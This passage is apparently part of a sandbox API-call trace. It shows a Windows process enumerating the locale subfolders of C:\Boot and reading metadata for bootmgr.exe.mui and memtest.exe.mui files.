[0088.129] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260850 [0088.130] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.130] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.130] FindClose (in: hFindFile=0x4260850 | out: hFindFile=0x4260850) returned 1 [0088.131] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0088.131] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.131] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0088.131] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.131] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.131] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0088.132] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.132] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0088.132] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.132] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0088.132] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.133] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.133] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.133] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0088.133] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.133] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0088.133] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.133] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0088.133] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.133] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.134] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.134] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.134] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0088.134] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.134] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0088.134] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.134] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0088.135] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.135] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.135] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.135] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.135] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0088.135] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.135] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0088.136] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.136] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260810 [0088.136] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.137] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.137] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.137] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.137] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0088.137] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.137] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0088.137] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.137] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260810 [0088.138] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.138] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.139] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0088.139] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0088.139] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.139] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0088.139] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.139] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.139] FindNextFileW (in: 